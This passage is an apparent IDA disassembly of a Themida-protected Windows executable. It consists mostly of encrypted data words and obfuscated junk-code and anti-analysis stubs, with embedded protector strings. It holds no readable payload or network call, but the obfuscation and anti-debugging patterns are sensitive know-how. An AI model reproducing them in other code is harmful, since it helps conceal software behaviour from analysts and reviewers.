		dd 7547BDA7h, 0FD07F67Ah, 0EC1A7EC2h, 710E6F76h, 0D3EA3AEBh
		dd 3D49DD6Fh, 0B2C3941Dh, 92E55448h, 51FFD3A7h,	6FBCA4EBh
		dd 0A598E00Ah, 2799FDD1h, 0CCDD048h, 25374005h,	29h, 710E6FC3h
		dd 5829BD9Fh, 0D5C3941Dh, 47BD0BEDh, 0E408D3DEh, 0C3941DE0h
		dd 593F1367h, 50BD857Bh, 64DB7548h, 2Ch, 710E6F8Ch, 142474EBh
		dd 50DFB688h, 0FA140841h, 5829BD04h, 79C3941Dh,	47BDA719h
		dd 18FED3DEh, 0FE04F17Bh, 1C704D52h, 44BA54A8h,	40050CCDh
		dd 3B2537h, 0BDC30000h,	8E9D4150h, 97EB5FB3h, 0C3542579h
		dd 5829BD6Dh, 0D5C3941Dh, 47BD0BEDh, 754850BDh,	162372DBh
		dd 0C8857BB0h, 43h, 9DBB724h, 0EE6E97C1h, 5DA95F51h, 0CD7BA6ECh
		dd 0E00A6F57h, 0F0D4B891h, 495F4E9Ch, 0BD6AD07Eh, 941D5829h
		dd 0A71979C3h, 0D7DE47BDh, 0C7CB70FAh, 5F62BB3Dh, 0F06897EBh
		dd 73E907A6h, 754850BDh, 0C831D7DBh, 0FFFFFEDDh, 92A1F924h
		dd 0C63CEA2Eh, 96E30D6Fh, 9FF3D7BBh, 0CDD2C34Dh, 1EC80CF0h
		dd 99E06256h, 2B7DA8BDh, 0BA54A81Ch, 6F7655Dh, 881AC0FDh
		dd 65AC6064h, 7593E73Ah, 0D9D7A4F2h, 4F9DF1CCh,	4F3BB33Dh
		dd 0C03A65ACh, 0ACEC980Ch, 1F633A65h, 0D790D3Bh, 823A65ACh
		dd 9706D4B8h, 0CD99B782h, 3A65ACBBh, 49434256h,	2C31BDA0h
		dd 2089h, 50BD5700h, 4D817548h,	1DB3D3A3h, 0E132C394h
		dd 2DD906D4h, 0A407B731h, 0F81FD876h, 0D2h, 0EF1EBD00h
		dd 520DA56Bh, 9AE2BA54h, 92C95B81h, 90E4640Ah, 42FDD1A5h
		dd 0B25C560Dh, 9F00A322h, 4D62CBDh, 0A3B08F99h,	6B1F9721h
		dd 0FC3A610Ch, 0B4D05486h, 3B3A610Ch, 0D02429C7h, 831911E5h
		dd 54D8156Dh, 3A610C30h, 0FD6F43B7h, 610C1D69h,	0B4A8923Ah
		dd 0F12E0EA6h, 3901446Ch, 9BB2C233h, 0B95FA451h, 13357EA7h
		dd 0C06E4204h, 87BEC627h, 0A4FC2933h, 4D2F6F99h, 8802436h
		dd 74E7FFAh, 18F45E8h, 0CD3ED9F4h, 0B58891C0h, 3EEF7D51h
		dd 0EA1BD8F5h, 4CA3AC99h, 8392807Dh, 803C087h, 0F2040000h
		dd 98EF18DBh, 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h
		dd 29CAF50Fh, 599AA7FCh, 0F66D58ACh, 22310C19h,	0EF9B13D9h
		dd 60C59A7Bh, 0D5DE2B91h, 0A029146Dh, 0B3977B5Ah, 14608D5Fh
		dd 50AA5539h, 2C3F7C51h, 5CB452B6h, 3D0C1F8Eh, 72DB7549h
		dd 0F6A01421h, 0BFC831BCh, 5AAD5882h, 89A79B6Fh, 64B362EEh
		dd 0E338E155h, 32166ADEh, 0D6032A14h, 282E3241h, 36000000h
		dd 6C800D6Fh, 0C3941D18h, 0A5B7ABEFh, 9F21B001h, 0F145BDBDh
		dd 60EF1171h, 0D1DCC43Ah, 35E3123Bh, 3E3F2Ch, 6FD90000h
		dd 40E4760Dh, 0BD9F364Dh, 0A514F8C2h, 0AAA7F050h, 558EE226h
		dd 0A46FB8h, 3A60FA44h,	3286BDC5h, 0B01961DEh, 80746861h
		dd 0DD0F1468h, 6BFF3849h, 9F4DB544h, 0A529286Eh, 0D42CC761h
		dd 0A4750BDh, 0EAD6E9DCh, 63495292h, 7376EC63h,	0D20145E9h
		dd 0BC86C394h, 15639258h, 0E66A55AFh, 86FA4EA2h, 5B6E8668h
		dd 41BD9FCAh, 80744554h, 86A5A24Ch, 6D6A7222h, 74738C73h
		dd 25127036h, 2C3A1D71h, 0FA140BBBh, 8D26933h, 0E0BAE5E4h
		dd 0AC106A84h, 6650219Eh, 3147834Ch, 68974770h,	8497D9F3h
		dd 0E7B751B5h, 0C85C8E95h, 8EEB62B5h, 0FB2A300Ah, 3F4993AEh
		dd 0FD26D3B7h, 0C06E54EEh, 80BDC627h, 0EEAA7247h, 0EEA1A152h
		dd 695h, 0AEB58C96h, 0D81B3641h, 76EDDC2Fh, 0A1B28199h
		dd 0D2013C44h, 9BE17C63h, 494EBFA4h, 0F63EEF74h, 9EEB04DFh
		dd 0A14BB0A3h, 9A75790Dh, 997FCEC5h, 14F8D5DEh,	0F87B56A5h
		dd 5877816Ch, 267690F4h, 0EE1FCD56h, 0E024A8A5h, 1000A446h
		dd 72BD99E0h, 230D91CDh, 5587F780h, 6567B5D1h, 26C03A3Ah
		dd 8B600A29h, 8FC4602Ch, 405441ABh, 8677DB75h, 6289467Bh
		dd 99866698h, 617D6A9h
		dd 0E180000h, 0B4C32C37h, 62B15E85h, 31BF46Fh, 0B2C6273Ch
		dd 0FAE15083h, 3D261963h, 6DF6CBD0h, 9A597480h,	362D186Dh
		dd 0FB8F27C5h, 4CC59A75h, 0D6F07FDh, 4C40E476h,	0C3BD99E0h
		dd 57A20BFFh, 3428ED7Ah, 5FAB8666h, 5CCF8h, 8CBBCF00h
		dd 526FB657h, 24156481h, 89C8CE3Fh, 5867BD6Ah, 0D6353C9Bh
		dd 8760F3C2h, 7790437Eh, 20CD1621h, 9079FAD7h, 74B0D458h
		dd 4837C59Ah, 0E30D6FD0h, 9B41A594h, 99E03B13h,	7ACE34BDh
		dd 0C5F005F0h, 0CD7222Bh, 0AD1E6A82h, 0A9913A65h, 65AD2D59h
		dd 0B7CDA23Ah, 0B7B09488h, 86663560h, 66DCB397h, 0A9000005h
		dd 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h, 9221320Dh
		dd 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh, 7EF67A87h
		dd 0C59A740Ah, 0DEB62E9Dh, 0C614F8D5h, 1D5430B4h, 0E7DBC394h
		dd 1D95F175h, 201AC394h, 0C7F20706h, 0AE93E815h, 62B88880h
		dd 5C69BA63h, 201D6687h, 91F8E5Ch, 0E4764A3Eh, 941D0440h
		dd 99B78BC3h, 941DBCCDh, 0DFEA3FC3h, 4471826Bh,	6667BDF0h
		dd 0C1CC1614h, 68F2CFD8h, 1D3256DEh, 0D8B5C394h, 0C90DF1CCh
		dd 0FEB83BD5h, 4DE1739Eh, 0C3941D39h, 0C8BCB48Eh, 5FC3941Dh
		dd 51D5077Bh, 0BD99E071h, 7FF70193h, 3A65AC0Bh,	0DAAEA69Ch
		dd 0AD3A65ACh, 0A79EE455h, 0F251FFD3h, 66B36288h, 0A1F886Bh
		dd 0BC8E2D3Fh, 132FF084h, 0EF3BAD85h, 210580E6h, 91EB0307h
		dd 0AFCC608Ah, 446808h,	0B0C5303Ah, 0F319D5Eh, 574BD11Ch
		dd 8295008Ch, 63B499B7h, 0F28AE256h, 84718369h,	0CFD417Ch
		dd 2AD5C9F4h, 27C6F3F6h, 0CC98B6EFh, 4E7C47D1h,	2ED31C66h
		dd 0C5927F8Ch, 4438A4Dh, 32440000h, 0D82FD81Bh,	8E9D0AE9h
		dd 3F47A0B3h, 0EE32D300h, 0AEB50CD7h, 0E90A354Fh, 19DAE73Ch
		dd 0B6AD98ECh, 0E2714C59h, 2F5BD319h, 0A0C59A77h, 0D5DE6BD1h
		dd 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h, 0ED019359h
		dd 3A60E799h, 16FA146Eh, 60E7AEDEh, 0EFDA2F3Ah,	5461B21Bh
		dd 0CEDDACE0h, 0EDC70FF3h, 0E18BAEE0h, 36D0E134h, 729B717Ch
		dd 5F2C3507h, 39h, 760D6FB9h, 5D140E4h,	0F15EBD9Fh, 782195A8h
		dd 6AAE122Fh, 86AE1276h, 3A60CBC6h, 0FC048113h,	40340B11h
		dd 0CB1672FAh, 0A1993A60h, 90B9A34Dh, 0B92C35C6h, 113h
		dd 23D5DE47h, 0FAE5CEEh, 78EC7E69h, 0C394D80Ch,	0F75BBF83h
		dd 0C860B865h, 0D8AC80B9h, 0B9C34AE4h, 3E4B3286h, 0C7B68B96h
		dd 0DB3F83BEh, 0DCC913E7h, 0FE4FF9C4h, 0ED5298B5h, 6453E861h
		dd 0CA070E4Dh, 2E0246h,	0E238E567h, 0FD2B6FD3h,	94C55A69h
		dd 0FDC8DDC3h, 0D47C8966h, 3E42CCEh, 0B08B41D8h, 60F2785Ch
		dd 9484B8CCh, 1DCB0FC3h, 9CA7F535h, 0B33F264Eh,	4AB0BD9Fh
		dd 0EA9E16A0h, 7D3A619Ah, 2E08EB05h, 8F27354Eh,	446C0C7Eh
		dd 0EDE93DA2h, 55F21EFBh, 2A1B6F87h, 96EC3073h,	0B5A79B78h
		dd 9EABFA2Bh, 6A1ED62Ah, 0FD30732Ah, 14816B85h,	0CB98C70Ch
		dd 506A11D3h, 0C43D4999h, 48B23073h, 1A1E8F54h,	0B072C3Bh
		dd 7CD68C70h, 2C49Bh, 84B3C700h, 6A67AE5Fh, 3C0D1C89h
		dd 81B0C627h, 506FB552h, 0CE2D3483h, 0BF688BCAh, 6F985B66h
		dd 0D8352E19h, 9861F2CFh, 71A8DC50h, 503FC59Ah,	0FBDADEE8h
		dd 6E4FEC78h, 4C2A460Dh, 65AE9F49h, 6F0D8B68h, 40E4760Dh
		dd 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0E46867B1h, 63D7E235h
		dd 5F33B2F6h, 15EFFEBAh, 2C35C6F4h, 0D9DDh, 50BD3B00h
		dd 4C807445h, 635EABA2h, 0EBEA2E9Fh, 19FCCF67h,	3643C394h
		dd 0DA2FD81Bh, 79031BEFh, 7B8D78E2h, 0FA72F84Ch, 3C6BE18Eh
		dd 2BC53901h, 0D6C42D41h, 41B94260h, 0E1E5099Bh, 663A60F4h
		dd 2571F21Ch, 8C1ECC57h, 60F46C18h, 2E9FE33Ah, 0AF41EFE6h
		dd 6D642507h, 0EDC2644h, 140211FCh, 2D03F8A1h, 0EC50B408h
		dd 78BE6FA8h, 0C883D1F6h, 0EAD52F1Eh, 0B9849C09h, 6FFA8FAEh
		dd 0FC0428Ch, 1D5h, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h
		dd 92417C84h, 0DB213C23h, 898E7FE4h, 367EAFB4h,	0DE2BC41Fh
		dd 618B70E3h, 9A70B9CDh, 0D9BF0EC5h, 71FBDADEh,	0A8467384h
		dd 0F8D5DECFh, 9D798372h, 2601EF8Bh, 0BD0165A3h, 0B834AF59h
		dd 0B7C2862Eh, 7D45C394h, 0D5DE6DD3h, 50A514F8h, 0DCA0FE65h
		dd 80119547h, 0ADBD9F21h, 0A286BBC0h, 0EF7616DEh, 0F1A33A60h
		dd 0FEED1CF4h, 6CD32C34h, 56B83604h, 0F075E46h,	0A24363DDh
		dd 729FB14Eh, 37ABB81Dh, 604019h, 2DD80000h, 0DB41EFDAh
		dd 76800D6Fh, 941D8AFEh, 2D251DC3h, 0C3941D59h,	6AF0D42Eh
		dd 0B5536EBBh, 0D02AB33Bh, 0E4034260h, 0B33B0AB6h, 3A605AD7h
		dd 0FAD56258h, 829861D2h, 7BEB5FB3h, 3A60420Bh,	41CBDADEh
		dd 6C804354h, 3A604218h, 88B7ABEFh, 0A403FDB9h,	0D34DFB5Bh
		dd 2C35E73Ah, 2417h, 26A7F100h,	18C3941Dh, 0F96DFF84h
		dd 0BD9F0B20h, 5A2E46D0h, 2D3A60D0h, 5A702AD5h,	6DBB265Ch
		dd 0E57E44C3h, 760D6F1Fh, 51AB5AE4h, 4D34C06Eh,	22BD9F24h
		dd 8CFC74D8h, 593A60E9h, 99C64A5Bh, 5C6BEA41h, 5A9B34Bh
		dd 3A601B41h, 0E852FCC6h, 2C341341h, 3168h, 0E4768000h
		dd 60130440h, 0BFB78B3Ah, 3A6013CBh, 0EB92B91Ch, 522D02C6h
		dd 0B994E168h, 0E157F1D5h, 941D27A7h, 0FE8517C3h, 0B21F86Ch
		dd 44BEBD9Fh, 0D6F799Fh, 0EA39E476h, 201D66D7h,	0A8C06406h
		dd 27BD99DFh, 75BE6FD3h, 196A9B58h, 0B88582Ch, 0B365F551h
		dd 72876C79h, 26739C47h, 0EF9AC12Bh, 0E293BD16h, 93C48024h
		dd 774B12F4h, 6E5BAA13h, 99E148C0h, 692BD6BAh, 5762B75Ch
		dd 3B16638Ch, 3F057h, 84180000h, 0FDD4DE9Ch, 7A57A009h
		dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh
		dd 40798871h, 0CFFA0DFCh, 8957CF7Bh, 4C781E7h, 83000000h
		dd 3C8704EFh, 24248B24h, 747368h, 243C8900h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BE56241Ch, 2A756D36h
		dd 0EEC1D6F7h, 0EEC14E07h, 67BA5203h, 31063B32h, 0F7895AD6h
		dd 682B685Eh, 24890000h, 24048124h, 4, 4EC815Bh, 89000000h
		dd 438F243Ch, 2434FF08h, 4C4815Bh, 8B000000h
; ---------------------------------------------------------------------------
		cmp	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 0C066h
		dd 0A9359522h, 8F4D8916h
		db 0C0h, 75h
; ---------------------------------------------------------------------------


loc_57303E:				; CODE XREF: sub_570F13:loc_571090j
		mov	eax, 60E6F02h
		add	eax, ebp
		jmp	eax
sub_570F13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F2h
		dd 0EA2D9574h, 920F9A25h, 9C3D2625h, 20661F33h,	7A0672ADh
		dd 3375D8E3h, 0BB128B54h, 2731FB49h, 466646ADh,	0FC694108h
		dd 0B330CFB7h, 0EB734B1Eh, 4A2AD999h, 1F15CE50h, 302E7BC8h
		dd 0E857D206h, 0Ah, 0FA809F83h,	7218B42h, 0CCB9348Bh, 587E034Bh
		dd 0DE996AB9h, 26C08136h, 0BF000063h, 189Dh, 0BE9h, 0E431D100h
		dd 3E41353Dh, 706DBC21h, 0BA66308Bh, 0C681CD0Dh, 27494D2Fh
		dd 12E9h, 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h
		dd 8104D410h, 375B3DEEh, 0EE828h, 0AE230000h, 4CE839B8h
		dd 0A1F4411h, 83ADDE63h, 815BC3B2h, 630EDEF6h, 89D88A79h
		dd 15BBA30h, 0E8835424h, 0DE8B6604h, 0D850F4Fh,	8B000000h
		dd 24E9D8h, 1C0E0000h, 0A22D29ADh, 0EE9h, 5F2A1700h, 407AA748h
		dd 0C16A8824h, 0E9AC73B6h, 0FFFFFF80h, 8A8E19A5h, 34EB9B5Bh
		dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h
		dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h
		dd 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_573988
; ---------------------------------------------------------------------------
		clc
		pusha
		jz	loc_5731A4
		jle	loc_5731A4
		jmp	loc_5731A4
; ---------------------------------------------------------------------------
		dd 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h,	40A73ECFh
; ---------------------------------------------------------------------------


loc_5731A4:				; CODE XREF: Themida_:0057317Fj
					; Themida_:00573185j ...
		jno	loc_5731B7
		pusha
		jns	$+6
		mov	ecx, 77C7F964h
		popa


loc_5731B7:				; CODE XREF: Themida_:loc_5731A4j
		mov	dword ptr [ebp+60E70C8h], 0
		jge	loc_5731E0
		jmp	loc_5731E0
; ---------------------------------------------------------------------------
		dd 0E5CE52EDh, 51A59968h, 0F7625DE4h, 4DC37C37h, 64DE0831h
; ---------------------------------------------------------------------------


loc_5731E0:				; CODE XREF: Themida_:005731C1j
					; Themida_:005731C7j
		mov	eax, esi
		push	0
		push	ebx
		call	sub_5731ED
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5731ED	proc near		; CODE XREF: Themida_:005731E5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5731ED	endp

; ---------------------------------------------------------------------------
		db 0BFh, 0Fh, 0B7h
; ---------------------------------------------------------------------------
		fsubr	dword ptr [edx+0]
		push	edx
		call	sub_57320C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57320C	proc near		; CODE XREF: Themida_:00573204p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_57320C	endp

; ---------------------------------------------------------------------------
		dd 8A0FF51Fh, 13h, 0D890Fh, 8E90000h, 68000000h, 5A2A1807h
		dd 0C19D0021h, 9E910E8h, 0A4000000h, 2375ACBFh,	5E42BFDAh
		dd 19800Fh, 14E90000h, 0AC000000h, 0BFDA2375h, 68685E42h
		dd 0C368EFC2h, 3602CC19h, 66692F6Fh, 6A08C8C1h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 77FDC355h, 4E005C4Bh, 2F018F74h, 56E7B960h, 8961224Dh
		dd 0E70CC85h, 81F86006h, 9DC0CACAh, 8E0F6134h, 7, 1810Fh
		dd 66FC0000h, 6A08CBC1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 6D29C351h, 4AA5783Bh
		dd 0A954989h, 0B10BBF60h, 816671CEh, 6153B3D9h,	0F40FB83h
		dd 2D85h, 0BD8DF900h, 60E70A0h,	58D0Fh,	66600000h, 0E961FA8Bh
		dd 1AEh, 0F8B0FFCh, 0E9000000h,	0Ah, 6A184759h,	20D698B1h
		dd 0FB835634h, 55850F0Dh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0FDD6C353h
		dd 98D0Fh, 53600000h, 1CF6BF59h, 8D614021h, 0E70A8BDh
		dd 0B8D0F06h, 0E9000000h, 6, 0F8466B05h, 47E9F878h, 0E9000001h
		dd 8, 0BB35AF54h, 9B8C9911h, 0F01FB83h,	7185h, 8E900h
		dd 0BF490000h, 671DA23Bh, 0BD8D5F91h, 60E70B0h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5CC35646h, 0FBE9FCF5h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FFEC355h, 1986h, 14E900h, 58A40000h
		dd 0C247B3B8h, 41841A64h, 0BA479BFFh, 653F91C7h, 0FB83E95Eh
		dd 6C850F2Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0F136C353h,	73E03115h
		dd 60233196h, 0FDB8166h, 0FAB70F9Eh, 0BD8DF861h, 60E70B8h
		dd 0FE9F5h, 21AE0000h, 3FA1710Ch, 8E885F5h, 0E789A0BFh
		dd 68E90Ah, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 83F559C3h, 850F27FBh, 30Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 14C35343h, 33C244FEh
		dd 0FDE1D83h, 884h, 0D08B6000h,	0BEE3BE66h, 0C0BD8D61h
		dd 60060E70h, 0FCA8B66h, 8Ah, 0BD896100h, 60E70D0h, 14850Fh
		dd 0FE90000h, 0CB000000h, 38333106h, 3F8FF292h,	0BCC13093h
		dd 8C668B0Dh, 55006AC8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0BFF09E95h, 185E7218h, 10E9h, 0D976FC00h
		dd 0D200304Ch, 84DDA731h, 776EC1F2h, 6A032402h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0DCEC355h, 0DCE5FA75h, 0F820F04h, 60000000h,	6E962B2h
		dd 53000000h, 6C88FC5h,	0C00A61E0h, 177850Fh, 0BE90000h
		dd 0B3000000h, 88D87BE5h, 0ECE0E4DEh, 0B58D098Fh, 60E7768h
		dd 0CE960h, 64AE0000h, 8AE092C6h, 3AAD1F1Dh, 56579CA7h
		dd 8B615E58h, 0E782F85h, 10E86006h, 0E000000h, 41B95016h
		dd 2CBE45DAh, 729D8C1Bh, 8BDD7211h, 0C88159D7h,	76025AEAh
		dd 57609261h, 535ABDB4h, 12E9h,	9EED7300h, 59960B18h, 434644F2h
		dd 0D66AB7EEh, 5EF64F42h, 10E95061h, 8000000h, 2FF44518h
		dd 863B23E4h, 5F6EB957h, 9203326Ch, 0D0B0F560h,	4C010F61h
		dd 8F0FFE24h, 9, 66616060h, 47A7C981h, 6A5A61h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 600813C3h, 26F7CBD1h, 1840F71h, 0F5000000h, 24C283F5h
		dd 0FE9h, 0A7485F00h, 8824407Ah, 73B6C16Ah, 6763C9ACh
		dd 0C890Fh, 8E0F0000h, 6, 8F0Fh, 89660000h, 6AFC72h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0DA1052C3h, 60E9D1AEh, 0D13BBB66h, 0F4A602BFh, 0C1F5612Ah
		dd 0F6010CEh, 18Fh, 61F8FC00h, 2728966h, 9E9h, 14447800h
		dd 4640CC97h, 4CD8537h,	18E0FF8h, 0F9000000h, 0B1E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0F8C4BA72h, 2F858BD6h, 6A060E78h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1500C357h
		dd 18F78060h, 3EB8166h,	666061D2h, 0F5DF6CB8h, 68B58D61h
		dd 6A060E77h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 73F1C357h, 0E90874D1h,	6, 1963BB2Fh
		dd 858D3C2Ch, 60E4D7Eh,	85BE6660h, 0D0FF6178h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D5C35343h, 8589F9F9h
		dd 60E70C8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0EDC35343h, 37113154h, 61431866h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 9AC35040h, 400BD282h
		dd 0FD432CFh, 1A86h, 148D0F00h,	0E9000000h, 0Fh, 0C7DB57E8h
		dd 16142A8h, 75C32409h,	8B2D0E50h, 0E70C885h, 820F6006h
		dd 16h,	10E8h, 0B6797700h, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh
		dd 8B665806h, 0E9C361F0h, 11h, 0C3F1DCA0h, 0F8D29130h
		dd 89A73A4h, 76C219E1h,	18C0F57h, 0F9000000h, 8B0F6060h
		dd 2, 5E9F08Bh,	3000000h, 48E3A63Bh, 2FBD8361h,	60E78h
		dd 8E850Fh, 0E8600000h,	6, 763AD26Bh, 8B0FE6FFh, 0
		dd 0EE85Ah, 0EF960000h,	0FA118AFCh, 8D6D5379h, 3EF9ACC3h
		dd 5EC8BF0Fh, 85C7F861h, 60E782Fh, 1013Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 79C35747h, 0A8C983FFh
		dd 730F2D04h, 7E960h, 1C3E0000h, 520168FDh, 0BE81Ah, 90150000h
		dd 87101576h, 0A502D5FEh, 0FE98Ch, 4F760000h, 925D145Ah
		dd 0BD3C6A25h, 0D126D72Fh, 0FC615891h, 10E9h, 0A890F00h
		dd 0E9000000h, 5, 72A9C942h, 20CD45h, 0B000000h, 8D3774C0h
		dd 0BD8B0C70h, 60E70D0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
		dd 60E70CCh, 7F34583Bh,	6BD38B15h, 0CA0304D2h, 8589018Bh
		dd 60E70C8h, 8B04EBh, 8B61C5EBh, 0E70C885h, 6ACF06h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1B24A1C3h, 880FBBC4h, 0Eh, 9E9h, 49A11300h, 48AA617Dh
		dd 8F0F1F08h, 7, 18A0Fh, 6AF80000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4743C356h
		dd 8B0F5052h, 8, 0CFB70F60h, 61BAEF80h
; ---------------------------------------------------------------------------


loc_573988:				; CODE XREF: Themida_:00573178j
		mov	eax, eax
		jmp	loc_573D8F
; ---------------------------------------------------------------------------
		align 10h
		dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h
		dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h
		dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h
		dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h
		dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_573D8F:				; CODE XREF: Themida_:0057398Aj
		jmp	loc_574FC3
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_573D9F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_573D9F	proc near		; CODE XREF: Themida_:00573D97p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_573D9F	endp

; ---------------------------------------------------------------------------
		db 5
		dd 7E3C7D92h, 8D8904EEh, 60B212Dh, 194D858Bh, 6A060Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 1AA3FFC3h, 25BD8969h, 0F9060B0Dh, 9E9h, 79A00F00h, 0F618C359h
		dd 4439B1D3h, 850F0424h, 0A5h, 0E599D89h, 0BD83060Bh, 60B0DB1h
		dd 92840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0C1FC353h, 602A9497h
		dd 0FDA8B60h, 8Bh, 6E96100h, 0DA000000h, 70AC4C15h, 858D614Bh
		dd 60B390Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0C5C35141h, 0BEFB35EFh,	0FF43DC0Ah, 50006AE0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0EE921B1h, 0F6000000h, 0E0963092h, 0FBEEFFAEh, 6DA4F279h
		dd 15858B88h, 6A060B03h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 74AEC356h, 4439642Fh
		dd 850F0424h, 0Ch, 0E785C7F5h, 1060E7Ch, 0F5000000h, 51006A60h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0CE92778h, 32000000h, 0DF1F7FFCh, 79D5EFE5h,	0E95D4744h
		dd 28h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
		dd 7AC35141h, 0B5296C01h, 60B3319h, 0
		dd 1B8h
		db 0
; ---------------------------------------------------------------------------


loc_573F41:				; CODE XREF: Themida_:00573F49j
		xchg	eax, [ebp+60E7E94h]
		or	eax, eax
		jnz	short loc_573F41
		push	dword ptr [ebp+60B2845h]
		pop	dword ptr [ebp+60E7CDFh]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+60B1BBDh]
		cmp	dword ptr [ebp+60B2301h], 0
		jz	short loc_573F72
		push	0
		call	dword ptr [ebp+60B32DDh]


loc_573F72:				; CODE XREF: Themida_:00573F68j
		cmp	dword ptr [ebp+60B1611h], 1
		jz	short loc_573F88
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+60B1BBDh]


loc_573F88:				; CODE XREF: Themida_:00573F79j
		pusha
		movzx	eax, bx
		call	sub_573F9F
		mov	edi, 5FBA6FDBh
		pop	eax
		sub	eax, 787A6F1Bh
		dec	edx
; ---------------------------------------------------------------------------
		db 6Eh,	0AAh

; =============== S U B	R O U T	I N E =======================================



sub_573F9F	proc near		; CODE XREF: Themida_:00573F8Cp

arg_48		= dword	ptr  4Ch

		mov	ebx, [ebp+60B0C05h]
		pop	esi
		popa
		jmp	loc_573FBE
; ---------------------------------------------------------------------------
		dd 38137D73h, 1C566DF2h, 28034F95h, 6F762ABCh
		db 0EFh, 0BFh
; ---------------------------------------------------------------------------


loc_573FBE:				; CODE XREF: sub_573F9F+8j
		mov	eax, 0
		jns	loc_573FCF
		xor	[ebp+60B0F59h],	edx


loc_573FCF:				; CODE XREF: sub_573F9F+24j
		mov	edx, [esp-24h+arg_48]
		add	[ebp+60B32E5h],	edx
		mov	[ebp+60B05E9h],	eax
		pusha
		jz	loc_573FE8
		push	ecx
		pop	edi


loc_573FE8:				; CODE XREF: sub_573F9F+41j
		mov	[ebp+60B193Dh],	ecx
		popa
		mov	esi, 3Ch
		push	0
		push	esi
		call	sub_573FFF
		and	[esi-3Dh], bl
sub_573F9F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_573FFF	proc near		; CODE XREF: sub_573F9F+58p

